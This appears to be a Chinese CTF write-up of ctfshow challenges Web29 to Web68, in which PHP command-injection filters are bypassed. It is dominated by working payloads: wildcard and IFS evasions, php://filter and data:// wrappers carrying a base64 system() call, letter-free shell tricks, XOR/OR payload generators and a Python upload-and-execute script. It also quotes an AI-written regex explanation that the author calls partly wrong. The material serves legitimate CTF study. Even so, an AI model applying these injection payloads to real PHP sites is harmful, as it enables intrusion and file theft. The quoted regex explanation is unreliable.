# Web29:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了文件关键词,通配符绕过,cat f*,用 system 执行,发现没有成功读取,考虑使用 tac 倒序读取,得到 flag。

总结,文件关键词过滤可以考虑使用通配符绕过。

# Web30:

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了 system,并且用的屎 eval 函数。

​ 这里先试试反斜杠绕过,似乎无法绕过。

​ 那么就试着反引号绕过,echo `ls`; ,成功绕过,之后直接 echo `tac fl*`; 读取 flag。

# Web31:

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 这里发现空格,单引号被过滤了,还有小数点,没有过滤反引号,直接反引号绕过,成功绕过 system,cat 被过滤就 tac 读取,空格用 %0a 或者 %09 绕过。

​ 前置知识:

空格过滤:

1
2
3
4
5
6
7
8
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat 过滤:

1
2
3
4
5
6
7
8
9
10
11
12
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

# Web32:

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了 system 和反引号还有 echo,这里看似挺严格的,但是 print_r 或者 var_dump 没有过滤,应该可以利用下,但是,system 被过滤了,只有无回显 RCE 了,但是,过滤了左半边括号,这样就没法绕了,试一试不需要括号的语句:

1
2
3
4
5
6
7
8
9
<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>

可以配合文件包含来打伪协议,具体 payload 类似下面这样:

1
include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

# Web33:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 多过滤了分号和双引号,反引号和空格等等依然被过滤了,这个时候似乎更难办了,还是打文件包含加伪协议来打:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

# Web34:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 多过滤了一个冒号,方法同上:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

​ 这里解释一下,这里出现冒号依旧绕过了的原因是因为 PHP 把前面的 include 到?> 的认为成一个 get 传参,另一个,也就是 & url 被认为是另一个传参,正则只检测第一个部分,第二个部分就不会检测了。

# Web35:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 小于符号也被过滤了,不过无伤大雅,依旧老样子,因为没有过滤 >,所以依旧能用上面的 payload 打:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

# Web36:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 这里连带着数字一起过滤了,无伤大雅,继续文件包含一把梭:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

# Web37:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

​ 文件包含过滤了 flag,这个时候可以考虑 include 一个 data 伪协议输入的命令参数,具体如下:

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的 data:// 流会被当作 php 文件执行

第一:使用通配符绕过 flag:

?c=data://text/plain,
?c=data://text/plain,

第二:使用 base64 绕过 flag:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

#base64 解码为 <?php system('cat flag.php');?>

# Web38:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

​ 相较于上一个题多过滤了一层 php,使用 base64 绕过就行:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

​ 或者,使用短标签绕过:

?c=data://text/plain,

# Web39:

1
2
3
4
5
6
7
8
9
10
11
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

​ 过滤了 flag,但是文件包含里存在.php 的后缀,好像无伤大雅,和上一题一样,短标签打。

/?c=data://text/plain,

​ 由于两端合在一起就类似于 <?= system('tac fla*');?>.php ,.php 因为已经被标签闭合在外面,所以不会被当作文件包含的后缀算进去,依旧能进行 RCE。

# Web40:

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了数字,和各种符号,但是过滤似乎有点儿问题,没有过滤英文的括号,过滤成了中文的括号,所以,无参数 RCE,可以一把梭:

1
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

​ 前置知识:

1
2
3
4
5
6
7
8
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。

​ 或者使用:

1
2
3
4
5
6
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

# Web41:

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

​ 无字母数字 RCE,并且因为过滤了 $、+、-、^、~ 所以无法使用异或、自增和取反绕过,不过,听说网上还有另一个操作,就是利用管道符,也就是 | 运算符,这里贴一下相关的文章:

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

ctfshow web 入门 web41

​ 这里给了两个代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

​ 还有 python 的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

​ 另一个,贴一下羽神的脚本,这个感觉更好用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

# Web42:

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

​ 对于这里的,可以参考下下面这篇文章: Shell 脚本 ———— /dev/null 2>&1 详解

​ 这里如果只是想要解题的话,可以想办法让后面的不执行,或者前后分离开就行了,这里有如下几种方法:

; // 分号
| // 只执行后面那条命令
|| // 只执行前面那条命令
& // 两条命令都会执行
&& // 两条命令都会执行

# Web43:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 对比上一题,多了一层过滤,多了一个 cat 和分号,老样子,同一个 payload:

1
?c=tac fla* ||

​ 再一次,贴一下可以绕过的方式:

1
2
3
4
5
6
7
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

# Web44:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 多过滤了 flag,通配符绕过:

1
?c=tac f* ||

# Web45:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 过滤了空格,老样子,IFS 绕过:

1
c=tac${IFS}fla*||

# Web46:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 过滤了空格和星号,星号直接用问号绕过,空格使用 %09 绕过:

1
?c=tac%09fla?.php|| #这里的%09不属于数字

​ 过滤了空格:

1
2
3
4
5
6
7
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09

# Web47:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 过滤了除了 tac 以外的很大一部分读取文件的操作,flag 也被过滤了,还有空格和星号,绕过方式和上一个一样:

c=tac%09fla?.php||

# Web48:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 不是,怎么多了这么多不认识的命令?

​ 不过无所谓,发现还是老样子,tac、管道符和问号没有被过滤,直接无脑冲:

c=tac%09fla?.php||

# Web49:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 没有过滤 tac,但是过滤了百分号,不过这里无伤大雅,因为 %09 不会被当作 %,所以直接

?c=tac%09fla?.php||

# Web50:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 丸辣,过滤了 \x09,没法过了,那就使用 <> 来绕过,不过,<> 和通配符?一起使用的时候不回显,所以用反斜杠绕过关键字 flag:

?c=tac<>fla\g.php||

# Web51:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 靠,tac 被过滤了,不过无所谓,system 函数在某些时候可以用反斜杠来分割关键字,直接一把梭:

?c=ta\c<>fla\g.php||

# Web52:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 丸辣,这里过滤了大小于符号,不过,突然发现好像没有过滤掉 $ 符号,很好,直接 IFS 绕过。

?c=ta\c${IFS}fla\g.php||

?c=ta\c${IFS}fl’'ag.php||

​ 不过没有找到 flag,flag 会在哪里呢?在根目录找到了 flag。

# Web53:

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

​ 没啥说的,IFS 绕过一把梭:

?c=ta\c${IFS}fla\g.php

# Web54:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

​ 这又是啥正则?ai 的解释如下(部分正确,不可全信):

这行代码是使用 PHP 的 preg_match 函数来检查一个字符串(假设为变量 $c )是否包含一系列特定的模式或字符。这些模式通常与尝试绕过安全限制、注入恶意代码或执行不期望的命令有关。下面是对这个正则表达式中各个部分的解释:

  1. \; :查找分号( ; ),这通常用于命令分隔,在某些情况下可能被用于尝试执行多条命令。
  2. .*c.*a.*t.* :查找包含 cat 的字符串, cat 是一个常用于 Unix/Linux 系统中查看文件内容的命令。
  3. .*f.*l.*a.*g.* :查找包含 flag 的字符串,这可能是在尝试获取某种 “标志” 或敏感信息。
  4. [0-9] :查找空格后跟任何数字,这可能是在尝试绕过基于特定字符的限制。
  5. \* :查找星号( * ),在某些上下文中,它可能用于通配符匹配或具有特殊意义。
  6. .*m.*o.*r.*e.*.*w.*g.*e.*t.*.*l.*e.*s.*s.* 等:这些模式分别查找包含 morewgetless 等命令的字符串,这些命令通常用于文件操作或数据传输。
  7. .*h.*e.*a.*d.*.*s.*o.*r.*t.*.*t.*a.*i.*l.* 等:查找包含 headsorttail 等 Unix/Linux 命令的字符串,这些命令用于处理文本数据。
  8. .*s.*e.*d.*.*c.*u.*t.*.*t.*a.*c.* 等:查找包含 sedcuttac 等命令的字符串,这些命令用于文本处理。
  9. .*a.*w.*k.* :查找包含 awk 的字符串, awk 是一个强大的文本处理工具。
  10. .*s.*t.*r.*i.*n.*g.*s.* :查找包含 strings 的字符串, strings 命令用于提取二进制文件中的可打印字符串。
  11. .*o.*d.* :查找包含 od 的字符串, od (八进制转储)命令用于以八进制或其他格式转储文件内容。
  12. .*c.*u.*r.*l.* :查找包含 curl 的字符串, curl 是一个用于传输数据的命令行工具。
  13. .*n.*l.* :可能意图查找包含 nl 的字符串,但此模式较为宽泛,因为 nl 是常见字母。
  14. .*s.*c.*p.* :查找包含 scp 的字符串, scp 是安全复制命令,用于在本地和远程之间安全地传输文件。
  15. .*r.*m.* :查找包含 rm 的字符串, rm 命令用于删除文件或目录。
  16. \%\x09\x26>< :查找反引号(```)、百分号( % )、制表符( \x09 )、 & 符号的 HTML 实体( \x26 )、大于号( > )、小于号( < ),这些字符或模式可能在尝试执行命令或注入代码时具有特殊意义。

整个正则表达式使用了 i 修饰符,表示不区分大小写。如果 preg_match 返回 false (即没有找到匹配项),则意味着字符串 $c 不包含上述任何敏感模式或字符。这通常用于安全检查,以防止潜在的恶意输入。

​ 这里直接用下面这个方式绕:

1
2
?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)

# Web55:

1
2
3
4
5
6
7
8
9
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

​ 终于到了新玩意儿了,无字母 RCE,有几种方法:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到 /bin 目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64 等
发现存在一个 base64
我们就可以通过通配符进行匹配命令执行查看 flag.php
payload:

1
2
?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

# Web56:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}


解题思路:过滤了分号,字母,数字等等符号
本题没有过滤符号.(点),因此可以想到linux中该符号.(点)的用法,与source命令用法相同:linxu中source命令和.(点)
总体分析后,可以post上传一个php文件,内容为所需执行的linux指令,然后使用glob通配符和.(点)来将其中的内容以linux指令的形式来进行执行。

​ 还是 system,不过这次多过滤了字母。用下面这个脚本去跑,不过原理不是很清楚,贴一个链接,有条件就去学习一下。

LINUX 中的点命令,或 source 命令,或点符号

无字母数字 webshell 之提高篇

​ python 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
import requests

url = "http://c7ab10d0-d6da-40f4-8e90-c56abda22ce1.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}


with open('.\\a.txt','r') as file:
files = {'file': file}
while 1:
r = requests.post(url,params=payload,files=files)

if r.text:
print("\n" + r.text)
break

time.sleep(1)
print(".", end=' ',flush=True)

​ 另外还需要创建一个 a.txt 文件,里面的内容为 cat flag.php

# Web57:

1
2
3
4
5
6
7
8
9
10
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

​ 这个似乎可以取反做:

在 liunx 中,$(()) 为 0 , (( ((~(()))) 为 - 1 ~代表取反,0取反后为1,这样就可以先构造出37,取反后就为36,也就是代表取反,0取反后为-1,这样就可以先构造出-37,取反后就为36,也就是 (()) 中有 37 个(( ((~(()))) 在加上取反,也就是(( ((~(()))) 中有 37 个 - 1

​ 先贴一个无字母数字 RCE 的总结:

无字母数字 webshell 总结

无数字字母 rce 总结(取反、异或、自增、临时文件)

​ 可惜,做题的这个考点似乎这两篇文章里没有:

双小括号 (()) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在 ((和)) 之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( )) 命令的执行结果。 可以使用获取(())命令的结果,这和使用获取 (( )) 命令的结果,这和使用获得变量值是类似的。 可以在 (()) 前面加上符号获取(())命令的执行结果,也即获取整个表达式的值。以c=符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加 $ 就不能取得表达式的结果。

1
2
3
4
5
echo ${_} #返回上一次的执行结果`
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36

​ 所以 payload:

1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

​ 可以用这个脚本生成简单的数字:

1
2
3
4
num_1 = "$((~$(())))"
inta = 36
resp = "$((~$(("+ num_1 * 37 +"))))"
print(resp)

# Web58:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ 乍一看,好像很简单,不过,当我 post 了一个 phpinfo 之后,发现了函数被禁了:

1
Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

​ 建议直接 fuzz 一下,看看具体哪些被 ban 了,这里就直接 show_source 了:

c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

# Web59:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ 具体不知道有些啥被 ban 了,只能一个个测,结果和上一题一样,show_source 依旧过了:

c=show_source(“flag.php”);

# Web60:

1
2
3
4
5
6
7
8
题目:
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ 一模一样,直接给 paylaod:

c=show_source(“flag.php”);

# Web61:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ show_source 百试不爽啊。

c=show_source(“flag.php”);

# Web62:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

# Web63:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

# Web64:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

# Web65:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

# Web66:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ show_source 函数被 ban 了,highlight_file 没有被 ban,试试看,结果 flag 没有在 flag.php 里,通过如下 payload 发现 flag 在根目录下:

1
2
3
c=print_r(scandir("/"));

#Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

​ 那就用 highlight_file 去读根目录:

# Web67:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ print_r 被过滤了,试试看 var_dump,没有被过滤,继续 scandir 去读目录结构。

1
2
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

# Web68:

​ 由于 highlight_file () 被 ban 了,读不到源码,所以就直接开打了,先测一下 var_dump,var_dump 和 scandir 都没有被 ban,直接读根目录,找到了 flag.txt:

1
2
3
4
c=var_dump(scandir("/"));


#array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

​ 之后就是其他手法了,根据 txt 文件,推测 flag 应该不会被当作 php 代码执行,所以试着使用文件包含等手法读 flag:

1
c=include("/flag.txt");

# Web69:

